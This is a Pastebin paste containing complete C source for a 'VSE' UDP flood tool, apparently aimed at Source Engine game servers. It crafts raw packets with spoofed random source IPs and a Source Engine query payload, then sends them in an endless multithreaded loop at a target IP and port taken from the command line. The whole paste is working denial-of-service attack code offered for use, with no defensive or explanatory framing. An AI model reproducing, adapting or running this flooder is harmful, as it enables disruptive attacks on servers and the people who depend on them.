Advertisement
Guest User

Untitled

a guest
Jul 28th, 2015
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.34 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. static uint32_t Q[4096], c = 362436;
  14. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  15. static unsigned int attport;
  16. char sourceip[17];
  17. void init_rand(uint32_t x)
  18. {
  19. int i;
  20. Q[0] = x;
  21. Q[1] = x + PHI;
  22. Q[2] = x + PHI + PHI;
  23. for (i = 3; i < 4096; i++)
  24. {
  25. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  26. }
  27. }
  28.  
  29. uint32_t rand_cmwc(void)
  30. {
  31. uint64_t t, a = 18782LL;
  32. static uint32_t i = 4095;
  33. uint32_t x, r = 0xfffffffe;
  34. i = (i + 1) & 4095;
  35. t = a * Q[i] + c;
  36. c = (t >> 32);
  37. x = t + c;
  38. if (x < c) {
  39. x++;
  40. c++;
  41. }
  42. return (Q[i] = r - x);
  43. }
  44.  
  45. /* function for header checksums */
  46. unsigned short csum (unsigned short *buf, int nwords)
  47. {
  48. unsigned long sum;
  49. for (sum = 0; nwords > 0; nwords--)
  50. sum += *buf++;
  51. sum = (sum >> 16) + (sum & 0xffff);
  52. sum += (sum >> 16);
  53. return (unsigned short)(~sum);
  54. }
  55.  
  56. void setup_ip_header(struct iphdr *iph)
  57. {
  58. iph->ihl = 5;
  59. iph->version = 4;
  60. iph->tos = 0;
  61. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
  62. iph->id = htonl(54321);
  63. iph->frag_off = 0;
  64. iph->ttl = MAXTTL;
  65. iph->protocol = IPPROTO_UDP;
  66. iph->check = 0;
  67. snprintf(sourceip, sizeof(sourceip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  68. iph->saddr = inet_addr(sourceip); // Holy fuck this is terrible
  69. }
  70.  
  71. void setup_udp_header(struct udphdr *udph)
  72. {
  73. udph->source = htons(8726);
  74. udph->check = 0;
  75. memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x73\x47\x6f\x75\x58\x43\x35\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", 25);
  76. udph->len=htons(sizeof(struct udphdr) + 25);
  77. }
  78.  
  79. void *flood(void *par1)
  80. {
  81. char *td = (char *)par1;
  82. char datagram[MAX_PACKET_SIZE];
  83. struct iphdr *iph = (struct iphdr *)datagram;
  84. struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  85. struct sockaddr_in sin;
  86. sin.sin_family = AF_INET;
  87. sin.sin_addr.s_addr = inet_addr(td);
  88. sin.sin_port = attport;
  89. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  90. if(s < 0){
  91. fprintf(stderr, "Could not open raw socket.\n");
  92. exit(-1);
  93. }
  94. init_rand(time(NULL));
  95. memset(datagram, 0, MAX_PACKET_SIZE);
  96. setup_ip_header(iph);
  97. setup_udp_header(udph);
  98. udph->dest = attport;
  99. udph->source = htons(rand() % 25355);
  100. iph->daddr = sin.sin_addr.s_addr;
  101. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  102. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  103. int tmp = 1;
  104. const int *val = &tmp;
  105. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  106. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  107. exit(-1);
  108. }
  109. int i=0;
  110. while(1){
  111. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  112. setup_ip_header(iph);
  113. setup_udp_header(udph);
  114. udph->dest = attport;
  115. udph->source = htons(rand() % 25355);
  116. iph->daddr = sin.sin_addr.s_addr;
  117. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  118. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  119. if(i==5)
  120. {
  121. usleep(0);
  122. i=0;
  123. }
  124. i++;
  125. }
  126. }
  127. int main(int argc, char *argv[ ])
  128. {
  129. if(argc < 4){
  130. fprintf(stderr, "Invalid parameters!\n");
  131. fprintf(stderr, "VSE by Decafe!\n");
  132. fprintf(stdout, "Usage: %s <target IP> <target port> <throttle> <time (optional)>\n", argv[0]);
  133. exit(-1);
  134. }
  135. int i = 0;
  136. fprintf(stdout, "Setting up Sockets...\n");
  137. int max_len = 128;
  138. char *buffer = (char *) malloc(max_len);
  139. buffer = memset(buffer, 0x00, max_len);
  140. int num_threads = atoi(argv[3]);
  141. pthread_t thread[num_threads];
  142. struct thread_data td[num_threads];
  143. attport = htons(atoi(argv[2]));
  144. for(i = 0;i<num_threads;i++){
  145. pthread_create( &thread[i], NULL, &flood, (void *) argv[1]);
  146. }
  147. fprintf(stdout, "Starting Flood...\n");
  148. fprintf(stdout, "VSE...\n");
  149. if(argc > 4)
  150. {
  151. sleep(atoi(argv[4]));
  152. } else {
  153. while(1){
  154. sleep(1);
  155. }
  156. }
  157. return 0;
  158. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement